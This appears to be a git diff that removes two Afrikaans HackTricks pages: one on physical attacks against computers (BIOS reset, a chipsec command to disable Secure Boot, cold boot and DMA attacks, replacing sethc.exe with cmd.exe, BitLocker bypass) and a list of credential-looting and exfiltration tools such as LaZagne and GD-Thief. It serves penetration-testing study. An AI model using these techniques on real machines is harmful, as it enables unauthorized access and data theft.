- Vir verdere inligting, kyk [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,57 +0,0 @@
|
||||
# Fisiese Aanvalle
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## BIOS Wagwoord Herstel en Stelselsekuriteit
|
||||
|
||||
**Herstel van die BIOS** kan op verskeie maniere bereik word. Meeste moederborde sluit 'n **batterij** in wat, wanneer dit vir ongeveer **30 minute** verwyder word, die BIOS-instellings, insluitend die wagwoord, sal herstel. Alternatiewelik kan 'n **jumper op die moederbord** aangepas word om hierdie instellings te herstel deur spesifieke penne te verbind.
|
||||
|
||||
Vir situasies waar hardeware-aanpassings nie moontlik of prakties is nie, bied **sagteware gereedskap** 'n oplossing. Om 'n stelsel vanaf 'n **Live CD/USB** met verspreidings soos **Kali Linux** te laat loop, bied toegang tot gereedskap soos **_killCmos_** en **_CmosPWD_**, wat kan help met BIOS wagwoord herstel.
|
||||
|
||||
In gevalle waar die BIOS wagwoord onbekend is, sal dit gewoonlik 'n foutkode oplewer as dit verkeerd **drie keer** ingevoer word. Hierdie kode kan op webwerwe soos [https://bios-pw.org](https://bios-pw.org) gebruik word om moontlik 'n bruikbare wagwoord te verkry.
|
||||
|
||||
### UEFI Sekuriteit
|
||||
|
||||
Vir moderne stelsels wat **UEFI** in plaas van tradisionele BIOS gebruik, kan die hulpmiddel **chipsec** gebruik word om UEFI-instellings te analiseer en te wysig, insluitend die deaktivering van **Secure Boot**. Dit kan met die volgende opdrag gedoen word:
|
||||
|
||||
`python chipsec_main.py -module exploits.secure.boot.pk`
|
||||
|
||||
### RAM Analise en Koue Boot Aanvalle
|
||||
|
||||
RAM behou data kortliks nadat krag afgesny is, gewoonlik vir **1 tot 2 minute**. Hierdie volharding kan tot **10 minute** verleng word deur koue stowwe, soos vloeibare stikstof, toe te pas. Gedurende hierdie verlengde periode kan 'n **geheue dump** geskep word met behulp van gereedskap soos **dd.exe** en **volatility** vir analise.
|
||||
|
||||
### Direkte Geheue Toegang (DMA) Aanvalle
|
||||
|
||||
**INCEPTION** is 'n hulpmiddel wat ontwerp is vir **fisiese geheue manipulasie** deur middel van DMA, wat versoenbaar is met interfaces soos **FireWire** en **Thunderbolt**. Dit stel gebruikers in staat om aanmeldprosedures te omseil deur geheue te patch om enige wagwoord te aanvaar. Dit is egter nie effektief teen **Windows 10** stelsels nie.
|
||||
|
||||
### Live CD/USB vir Stelselaanroep
|
||||
|
||||
Die verandering van stelselbinaries soos **_sethc.exe_** of **_Utilman.exe_** met 'n kopie van **_cmd.exe_** kan 'n opdragprompt met stelselsprivileges bied. Gereedskap soos **chntpw** kan gebruik word om die **SAM** lêer van 'n Windows-installasie te redigeer, wat wagwoordveranderinge moontlik maak.
|
||||
|
||||
**Kon-Boot** is 'n hulpmiddel wat die aanmelding by Windows-stelsels vergemaklik sonder om die wagwoord te ken deur tydelik die Windows-kern of UEFI te wysig. Meer inligting kan gevind word by [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/).
|
||||
|
||||
### Hantering van Windows Sekuriteitskenmerke
|
||||
|
||||
#### Boot en Herstel Snelkoppelinge
|
||||
|
||||
- **Supr**: Toegang tot BIOS-instellings.
|
||||
- **F8**: Betree Herstelmodus.
|
||||
- Deur **Shift** te druk na die Windows-banner kan outologon omseil.
|
||||
|
||||
#### BAD USB Toestelle
|
||||
|
||||
Toestelle soos **Rubber Ducky** en **Teensyduino** dien as platforms om **bad USB** toestelle te skep, wat in staat is om vooraf gedefinieerde payloads uit te voer wanneer dit aan 'n teikenrekenaar gekoppel word.
|
||||
|
||||
#### Volume Skadu Kopie
|
||||
|
||||
Administrateurprivileges stel die skepping van kopieë van sensitiewe lêers, insluitend die **SAM** lêer, deur middel van PowerShell moontlik.
|
||||
|
||||
### Omseiling van BitLocker Versleuteling
|
||||
|
||||
BitLocker versleuteling kan moontlik omseil word as die **herstel wagwoord** in 'n geheue dump lêer (**MEMORY.DMP**) gevind word. Gereedskap soos **Elcomsoft Forensic Disk Decryptor** of **Passware Kit Forensic** kan vir hierdie doel gebruik word.
|
||||
|
||||
### Sosiale Ingenieurswese vir Herstel Sleutel Byvoeging
|
||||
|
||||
'n Nuwe BitLocker herstel sleutel kan bygevoeg word deur sosiale ingenieurswese taktieke, wat 'n gebruiker oortuig om 'n opdrag uit te voer wat 'n nuwe herstel sleutel van nulles byvoeg, wat die ontsleuteling proses vereenvoudig.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,16 +0,0 @@
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
## **Plaaslike l00t**
|
||||
|
||||
- [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): Hierdie skripte, behalwe om na PE vektore te soek, sal sensitiewe inligting binne die lêerstelsel soek.
|
||||
- [**LaZagne**](https://github.com/AlessandroZ/LaZagne): Die **LaZagne projek** is 'n oopbron-toepassing wat gebruik word om **baie wagwoorde** wat op 'n plaaslike rekenaar gestoor is, te **herwin**. Elke sagteware stoor sy wagwoorde met verskillende tegnieke (plaktekst, API's, persoonlike algoritmes, databasisse, ens.). Hierdie hulpmiddel is ontwikkel met die doel om hierdie wagwoorde vir die mees algemeen gebruikte sagteware te vind.
|
||||
|
||||
## **Buitendienstienste**
|
||||
|
||||
- [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): Hierdie module sal met Confluence se API verbind deur 'n toegangstoken, na PDF uitvoer, en die Confluence-dokumente aflaai waartoe die teiken toegang het.
|
||||
- [**GD-Thief**](https://github.com/antman1p/GD-Thief): Red Team hulpmiddel vir die ekfiltrering van lêers vanaf 'n teiken se Google Drive waartoe jy (die aanvaller) toegang het, via die Google Drive API. Dit sluit alle gedeelde lêers, alle lêers van gedeelde skywe, en alle lêers van domein skywe in waartoe die teiken toegang het.
|
||||
- [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Red Team hulpmiddel vir die ekfiltrering van die teikenorganisasie se Google People Directory waartoe jy toegang het, via Google se People API.
|
||||
- [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** Dit is 'n hulpmiddel wat in Python ontwikkel is wat die inheemse Slack API's gebruik om 'interessante' inligting uit 'n Slack-werkruimte te onttrek gegee 'n toegangstoken.
|
||||
- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound is 'n opdraglyn hulpmiddel vir rooi en blou spanne om vinnig verkenning van 'n Slack-werkruimte/organisasie uit te voer. Slackhound maak die versameling van 'n organisasie se gebruikers, lêers, boodskappe, ens. vinnig soekbaar en groot objekte word na CSV geskryf vir offline hersiening.
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user